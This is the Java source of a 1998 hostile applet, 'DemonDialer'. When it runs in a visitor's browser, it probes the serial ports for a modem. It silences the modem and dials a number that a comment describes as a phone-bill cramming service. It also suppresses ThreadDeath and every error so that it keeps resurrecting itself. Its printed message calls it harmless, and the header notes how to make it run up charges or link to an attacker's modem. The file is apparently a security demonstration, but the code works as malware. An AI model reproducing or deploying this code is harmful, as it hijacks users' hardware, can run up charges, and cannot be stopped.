/*  DemonDialer.java by Mark D. LaDue */

/*  May 9, 1998 */

/*  Copyright (c) 1998 Mark D. LaDue
    You may study, use, modify, and distribute this example for any purpose.
    This example is provided WITHOUT WARRANTY either expressed or implied.  */

/*  This applet probes your machine for a modem.  It first looks at all of
    the available ports.  When it finds a serial port, it lists some of that
    port's properties.  If a given serial port is free, the applet opens it
    and looks to see if a modem might be attached.  If so, the applet sets
    some modem properties and then dials out.  If the serial port is not
    free, or if something goes wrong, the sleeps for 10 seconds before
    trying again.  The applet also resurrects itself in case of ThreadDeath
    and keeps going.  While this applet merely dials a toll-free number
    and waits 60 seconds before hanging up, it is easy to make the
    applet run up charges on your phone bill, connect to an evil modem
    with a computer waiting to attack your machine, and many other
    nasty things.  Note that the applet will keep dialing out, so
    you will have to exit your browser in order to bring it to a halt.  */

import java.awt.*;
import java.io.*;
import java.net.*;
import java.util.*;
import javax.comm.*;

public class DemonDialer extends java.applet.Applet implements Runnable {

    Thread demon;

    public void init() {
        demon = null;
        System.out.println("DemonDialer is a harmless demo applet.\n");
        System.out.println("To use try it you must have already set up:");
        System.out.println("1. Sun's Java Plug-in 1.1;");
        System.out.println("2. Sun's Java Wallet (Early Access 1 Release);\n");
    }

    public void start() {
        if (demon == null) {
            demon = new Thread(this);
            demon.setPriority(Thread.MAX_PRIORITY);
            demon.start();
        }
    }

    public void stop() {}

    public void run() {

        try {
            probe();
        }

// Catch all kinds of stuff to make sure we're not stopped

        catch (ThreadDeath td) {}
        catch (Exception except) {}
        catch (Error err) {}


// Resurrect the hostile thread in case of ThreadDeath, Exception,
// Error or completion of its mission

        finally {
            System.out.println("DemonDialer is back again.");
            DemonDialer demon = new DemonDialer();
            Thread reborn = new Thread(demon);
            reborn.start();
        }

    }

// Search for a modem

    public void probe() {

        CommPortIdentifier cpid = null;
        SerialPort sp = null;
        OutputStream outer = null;
        InputStream inner = null;
        boolean maybeModem = false;
        boolean openedAndDialed = false;

// Enumerate all of the ports

        for (Enumeration e = CommPortIdentifier.getPortIdentifiers();
                         e.hasMoreElements(); ) {

            cpid = (CommPortIdentifier) e.nextElement();
            openedAndDialed = false;
            maybeModem = false;

// Examine a serial port

            if (cpid.getPortType() == 1) {

// Print some information about it

                System.out.println("String: " + cpid.toString());
                System.out.println("Name: " + cpid.getName());
                System.out.println("Port Type: " + cpid.getPortType());
                System.out.println("Owner: " + cpid.getCurrentOwner());

// Watch and wait for the port to become available

                while (!openedAndDialed) {
                    try {
                        sp = (SerialPort) cpid.openPort("DemonDialer", 100);
                        System.out.println("Opened Port " + cpid.getName());
                        System.out.println("New Owner: " + cpid.getCurrentOwner());
                        outer = sp.getOutputStream();
                        System.out.println("Got OutPutStream for " + cpid.getName());
                        inner = sp.getInputStream();
                        System.out.println("Got InPutStream for " + cpid.getName());
                        System.out.println("Serial Port Information:");
                        System.out.println("    Baud Rate = " + sp.getBaudrate());
                        System.out.println("    Data Bits = " + sp.getDataBits());
                        System.out.println("    Stop Bits = " + sp.getStopBits());
                        System.out.println("    Parity    = " + sp.getParity());
                        System.out.println("    Flow Control Mode = " + sp.getFlowcontrolMode());
                        if (sp.isDTR()) {
                            maybeModem = true;
                            System.out.println("    DTR");
                        }
                        if (sp.isRTS()) {
                            maybeModem = true;
                            System.out.println("    RTS");
                        }
                        if (sp.isCTS()) {
                            maybeModem = true;
                            System.out.println("    CTS");
                        }
                        if (sp.isDSR()) {
                            maybeModem = true;
                            System.out.println("    DTR");
                        }
                        if (sp.isRI()) {
                            maybeModem = true;
                            System.out.println("    RI");
                        }
                        if (sp.isCD()) {
                            maybeModem = true;
                            System.out.println("    CD");
                        }
                        if (maybeModem) {
                            System.out.println(cpid.getName() + " looks like a modem");
                            System.out.println("Dialing " + cpid.getName() + " :");
                            dialOut(inner, outer);
                        }
                        openedAndDialed = true;
                        if (sp != null) {
                            sp.closePort();
                        }
                   }

// If there were any problems, sleep for 10 seconds and try it again

                    catch (Exception ex) {
                        System.out.println("Exception manipulating " + cpid.getName() + " - sleeping 10 seconds before trying again...");
                        try {
                            demon.sleep(10000);
                        }
                        catch (InterruptedException ie) {}
                        if (sp != null) {
                            sp.closePort();
                        }
                    }

                }

            }

        }

    }

// Exploit your modem

    public void dialOut(InputStream inner, OutputStream outer)
    throws IOException {

// First command - Stop echoing modem commands

        outer.write(65);
        outer.write(84);
        outer.write(69);
        outer.write(48);
        outer.write(13);
        System.out.println("Sent ATE0<CR> to OutPutStream");
        System.out.print("Reading response from InputStream - ");
        int avail = inner.available();
        System.out.println(avail + " bytes available:");
        byte[] response = new byte[avail];
        StringBuffer strbuf = new StringBuffer();
        inner.read(response, 0, avail);
        for (int i = 0; i < avail; i++) {
            strbuf.append((char)response[i]);
        }
        System.out.println(strbuf.toString());

// Second command - turn off the modem's sound

        outer.write(65);
        outer.write(84);
        outer.write(77);
        outer.write(48);
        outer.write(13);
        System.out.println("Sent ATM0<CR> to OutPutStream");
        System.out.print("Reading response from InputStream - ");
        avail = inner.available();
        System.out.println(avail + " bytes available:");
        response = new byte[avail];
        strbuf = new StringBuffer();
        inner.read(response, 0, avail);
        for (int i = 0; i < avail; i++) {
            strbuf.append((char)response[i]);
        }
        System.out.println(strbuf.toString());

// Third command - dial the toll-free number of a pseudo-billing service
// that crams arbitrary charges on folks' phone bills

        outer.write(65);
        outer.write(84);
        outer.write(68);
        outer.write(84);
        outer.write(32);
        outer.write(49);
        outer.write(56);
        outer.write(48);
        outer.write(48);
        outer.write(56);
        outer.write(54);
        outer.write(54);
        outer.write(56);
        outer.write(56);
        outer.write(56);
        outer.write(57);
        outer.write(13);
        System.out.println("Sent ATDT 18008668889<CR> to OutPutStream");
        try {
            System.out.println("Sleeping for 60 seconds...");
            demon.sleep(60000);
        }
        catch (InterruptedException ie) {}
        System.out.print("Reading response from InputStream - ");
        avail = inner.available();
        System.out.println(avail + " bytes available:");
        response = new byte[avail];
        strbuf = new StringBuffer();
        inner.read(response, 0, avail);
        for (int i = 0; i < avail; i++) {
            strbuf.append((char)response[i]);
        }
        System.out.println(strbuf.toString());

// Escape to the command mode

        System.out.println("Escaping to the command mode...");
        outer.write(43);
        outer.write(43);
        outer.write(43);
        outer.write(13);
        try {
            demon.sleep(2000);
        }
        catch (InterruptedException ie) {}
        System.out.println("Sent +++<CR> to OutPutStream");
        System.out.print("Reading response from InputStream - ");
        avail = inner.available();
        System.out.println(avail + " bytes available:");
        response = new byte[avail];
        strbuf = new StringBuffer();
        inner.read(response, 0, avail);
        for (int i = 0; i < avail; i++) {
            strbuf.append((char)response[i]);
        }
        System.out.println(strbuf.toString());

// Hang up the modem

        System.out.println("Hanging up...");
        outer.write(65);
        outer.write(84);
        outer.write(72);
        outer.write(48);
        outer.write(13);
        System.out.println("Sent ATH0<CR> to OutPutStream");
        System.out.print("Reading response from InputStream - ");
        avail = inner.available();
        System.out.println(avail + " bytes available:");
        response = new byte[avail];
        strbuf = new StringBuffer();
        inner.read(response, 0, avail);
        for (int i = 0; i < avail; i++) {
            strbuf.append((char)response[i]);
        }
        System.out.println(strbuf.toString());
        try {
            demon.sleep(5000);
        }
        catch (InterruptedException ie) {}

    }

}
